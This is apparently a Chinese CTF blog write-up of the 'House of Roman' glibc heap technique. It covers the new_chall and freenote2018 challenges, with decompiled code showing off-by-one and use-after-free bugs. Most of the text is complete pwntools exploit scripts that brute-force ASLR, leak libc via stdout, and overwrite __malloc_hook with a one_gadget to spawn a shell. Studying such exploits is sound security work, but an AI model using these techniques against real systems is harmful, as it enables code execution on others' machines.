house_of_roman

文章发布时间:

最后更新时间:

刷how2heap的时候看到的一个好玩的打法,本地环境貌似复现不起来,仅作记录
程序来源https://github.com/romanking98/House-Of-Roman
House-Of-Roman
RCE through Leakless HeapFengShui, fastbin alloc anywhere.
Was presented at DEFCON 26.

[House-Of-Roman]new_chall
开局有个能写入bss段的机会


bss


实现了增删改


malloc_chunk,没有限制size,只能申请19个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 malloc_chunk()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF

printf("Enter size of chunk :");
__isoc99_scanf("%d", size);
printf("Enter index :");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 )
{
*(_QWORD *)&size[1] = malloc(size[0]);
heap_ptrs[v1] = *(_QWORD *)&size[1];
sizes[v1] = size[0];
return *(_QWORD *)&size[1];
}
else
{
puts("Invalid index");
return 0LL;
}
}

write_chunk,存在off_by_one漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int write_chunk()
{
unsigned int v1; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h]

printf("\nEnter index of chunk :");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x13 )
return puts("\nInvalid index");
if ( !heap_ptrs[v1] )
return puts("Bad index");
v2 = sizes[v1];
printf("Enter data :");
return read(0, (void *)heap_ptrs[v1], v2 + 1);//off_by_one
}

free_chunk存在UAF

1
2
3
4
5
6
7
8
9
void free_chunk()
{
unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

printf("\nEnter index :");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free((void *)heap_ptrs[v0]);
}

exp解说链接:https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from pwn import p64
p = process("./new_chall",env={"LD_PRELOAD":"./libc-2.24.so"})
#raw_input()
def debug():
gdb.attach(p)
pause()

def menu():
p.recvuntil(b"3. Free")

def create(size,idx):
menu()
p.sendline(b"1")
p.recvuntil(b":")
p.sendline(str(size))
p.recvuntil(b":")
p.sendline(str(idx))

def free(idx):
menu()
p.sendline(b"3")
p.recvuntil(b":")
p.sendline(str(idx))

def edit(idx,data):
menu()
p.sendline(b"2")
p.recvuntil(b":")
p.sendline(str(idx))
sleep(0.1)
p.send(data)


name = b"A"*20
p.recvlineuntil(b"Enter name :")
p.sendline(name)

debug()
create(24,0)
create(200,1)
fake = b"A"*104
fake += p64(0x61)
edit(1,fake)

create(101,2)

free(1)
create(200,1)

over = b"A"*24
over += b"\x71"
edit(0,over)

create(101,3)
create(101,15)
create(101,16)
create(101,17)
create(101,18)
create(101,19)
free(2)
free(3)

heap_po = b"\x20"
edit(3,heap_po)

arena_po = b"\xcd\x4a"
edit(1,arena_po)
#raw_input()
create(101,0)
create(101,0)
create(101,0)
#p.interactive()

# Control arena through 0.
# Now unsorted bin attack.

# First fix 0x71 freelist.
free(15)
edit(15,p64(0x00))

# Fixed.
# 0x7f702619777b

create(200,1)
create(200,1)
create(24,2)
create(200,3)
create(200,4)

free(1)
po = b"B"*8
po += b"\xe0\x4a"
edit(1,po)

create(200,1)
#5b394f
over = b"R"*19
over += b"\x4f\x39\x5b"
edit(0,over)

create(200,7)
try:
resp = p.recv(4, timeout=6)
p.interactive()
except:
p.close()

该方法在aslr开启下需要爆破数据,看运气
以下方法来自
https://xz.aliyun.com/t/7426#toc-1
用IO_FILE泄露了libc地址,有1/16的概率打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding:utf8
from pwn import*
def add(size,idx):
#p.sendline("1")
#p.sendline(str(size))
#p.sendline(str(idx))
p.sendlineafter('Free',"1")
p.sendlineafter('Enter size of chunk :',str(size))
p.sendlineafter('Enter index :',str(idx))

def free(idx):
p.sendlineafter('Free',"3")
p.sendlineafter('Enter index :',str(idx))

def edit(idx,data):
#p.recvuntil('Free')
#p.sendline('2')
#p.recvuntil('Enter index of chunk :')
#p.sendline(str(idx))
#p.recvuntil('Enter data :')
#p.send(data)
p.sendlineafter('Free',"2")
p.sendlineafter('Enter index of chunk :',str(idx))
p.sendafter('Enter data :',data)

p = process('./new_chall')
libc = ELF('./libc-2.23.so',checksec=False)
context.log_level ='DEBUG'

p.sendlineafter('Enter name :','FMYY')
add(0x18,0)
add(0xC8,1)
add(0x68,2)
edit(1,'\x00'*0x68 + p64(0x61))
free(1)
add(0xC8,1)
add(0x68,3)
add(0x68,4)
add(0x68,5)
edit(0,'\x00'*0x18 + '\x71')
free(2)
free(3)
edit(3,'\x20')
edit(1,'\xDD\x25')
add(0x68,9)
add(0x68,9)
payload = '\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88'
add(0x68,9)
edit(9,payload)
#修改stdout的flag位为0xfbad1800
#bing将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址。

libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base

free(4)
edit(4,p64(0))
add(0x68,0)
free(0)
edit(0,p64(libc.symbols['__malloc_hook'] - 0x23))
add(0x68,0)
add(0x68,0)
p.sendlineafter('Free','2')
p.sendlineafter('Enter index of chunk :','0')
p.send('\x00'*0x13+p64(libc_base+0xF02A4))
#向malloc_hook 地址里写入 onegadget

#free 同一个 chunk 多次,造成 double free 异常,触发 malloc_printerr ,触发malloc,getshell。
free(1)
free(1)
p.interactive()

#[0CTF/TCTF 2018 finals]freenote2018
增删改(查只是个壳子)


init_note 限制了15个chunk,size为0x1到0x100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 sub_B4E()
{
unsigned int v1; // [rsp+Ch] [rbp-124h]
unsigned int v2; // [rsp+10h] [rbp-120h]
int v3; // [rsp+14h] [rbp-11Ch]
void *dest; // [rsp+18h] [rbp-118h]
char buf[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]

v6 = __readfsqword(0x28u);
v1 = 0;
if ( (unsigned int)dword_20203C <= 0xF && (printf("Input the note length:"), v3 = sub_A80(), v3 > 0) && v3 <= 256 )
{
printf("Input the note content:");
v2 = read(0, buf, 0xFFuLL);
if ( v2 > v3 )
v2 = v3;
dest = malloc(v3 + 8);
if ( dest && v2 )
memcpy(dest, buf, v2 - 1);
while ( dword_202048[4 * v1] )
++v1;
*((_QWORD *)&unk_202040 + 2 * (int)v1) = dest;
dword_202048[4 * v1] = v3;
++dword_20203C;
printf("Here is your label: %d\n", v1);
puts("Done~!");
return 0LL;
}
else
{
puts("Not allow~!");
return 1LL;
}
}

edit没有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 sub_D43()
{
unsigned int v1; // [rsp+8h] [rbp-8h]

printf("Input the note index:");
v1 = sub_A80();
if ( v1 < 0x11 && dword_202048[4 * v1] )
{
printf("Input the note content:");
read(0, *((void **)&unk_202040 + 2 * (int)v1), (unsigned int)dword_202048[4 * v1]);
puts("Done~!");
return 0LL;
}
else
{
puts("Not allow~!");
return 1LL;
}
}

free存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 sub_E1E()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Input the note index:");
v1 = sub_A80();
if ( v1 < 0x11 && dword_202048[4 * v1] )
{
free(*((void **)&unk_202040 + 2 * (int)v1));
puts("Done~!");
return 0LL;
}
else
{
puts("Not allow~!");
return 1LL;
}
}

House of roman,需要爆破12bits的数据
堆风水呜呜呜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
import traceback

def init_note(size, content):
p.sendlineafter('Choice:', '1')
p.sendlineafter('Input the note length:', str(size))
p.sendafter('Input the note content:', content)

def edit_note(index, size, content):
p.sendlineafter('Choice:', '2')
p.sendlineafter('Input the note index:', str(index))
p.sendafter('Input the note content:', content)

def free_note(index):
p.sendlineafter('Choice:', '3')
p.sendlineafter('Input the note index:', str(index))

with context.quiet:
try_count = 0

# since we are replacing some addresses partially, and ASLR is enabled
# we are executing the program over and over again until we get lucky

while True:
try:
try_count += 1

print (sys.stderr, 'Try #{}'.format(try_count))

#p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})
p = remote("192.168.63.133", 10001)
# chunk#0 (0x81)
init_note(0x68, 'a' * 255)
# chunk#1 (0x81)
init_note(0x68, 'b' * 255)
# chunk#2 (0x91)
init_note(0x78, 'c' * 255)
# chunk#3 (0x71)
init_note(0x60, 'd' * 255)
# chunk#4 (0x71)
init_note(0x60, 'e' * 255)

# launch double free attack
# fastbin free list (0x80): chunk#0 --> chunk#1 --> chunk#0
free_note(0)
free_note(1)
free_note(0)

# chunk#5 (0x81)
# this chunk is co-located with chunk#0, so we partially overwrite the fd pointer
init_note(0x68, p8(0xe0) + b'\n')
# chunk#6 (0x81)
# this chunk is co-located with chunk#1
init_note(0x68, b'b' * 0x50 + p64(0) + p64(0x81) + p64(0))
# chunk#7 (0x81)
# this chunk is co-located with chunk#0, so we partially overwrite the fd pointer
# after this allocation will put a heap address in fastbin free list
init_note(0x68, b'a' * 255)

# freeing chunk#2 will put it in the unsorted bin and set the fd/bk pointers with libc address
free_note(2)

# chunk#8 (0x81)
# this chunk is a fake chunk which is located a little before chunk#2
# basically, we overwrite chunk#2's size and partially its fd which is pointing to somewhere before malloc_hook
# the first 12 bits is fixed, but the next 4 bits have to be 1
init_note(0x68, b'b' * 0x10 + p64(0) + p64(0x71) + p16(0x1aed) + b'\n')

# launch double free attack
# fastbin free list (0x70): chunk#4 --> chunk#3 --> chunk#4
free_note(4)
free_note(3)
free_note(4)

# chunk#9 (0x71)
# this chunk is co-located with chunk#4, so we partially overwrite the fd pointer to somewhere before malloc_hook
init_note(0x60, p8(0x00) + b'\n')
# chunk#10 (0x71)
# this chunk is co-located with chunk#3
init_note(0x60, b'd' * 255)
# chunk#11 (0x71)
# this chunk is co-located with chunk#4
# after this allocation, address of chunk#2 will be put in the fastbin free list
init_note(0x60, b'f' * 255)
# chunk#12 (0x71)
# this chunk is co-located with chunk#2
# after this allocation, the address before malloc_hook will be put in the fastbin free list
init_note(0x60, b'\n')

# chunk#13 (0x7f)
# this chunk is located before __malloc_hook
init_note(0x60, b'\n')

# fix unsorted bin chunk#2 size to look like a non-fastbin chunk
# also overwrite bk pointer of chunk#2 which points to 16 bytes before __malloc_hook
# preparing for unsorted_bin_attack
edit_note(8, 0x29, b'b' * 0x10 + p64(0) + p64(0x91) + p64(0) + p8(0x00))

# chunk#14 (0x91)
# allocate a chunk from unsorted bin, so the __malloc_hook will be overwritten with a libc address
init_note(0x78, b'\n')

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''
# overwrite __malloc_hook partially to point to the one gadget
# the first 12 bits is fixed, but the next 12 bits have to be a52
edit_note(13, 0x13 + 3, b'\x00' * 0x13 + p32(0xa5226a)[0:3])

# chunk#15
# trigger __malloc_hook
init_note(0x100, b'\n')

p.clean()
p.sendline(b'ls')
p.recv(0)

p.interactive()
break
except EOFError:
p.close()
except:
print ( sys.stderr, traceback.format_exc())
break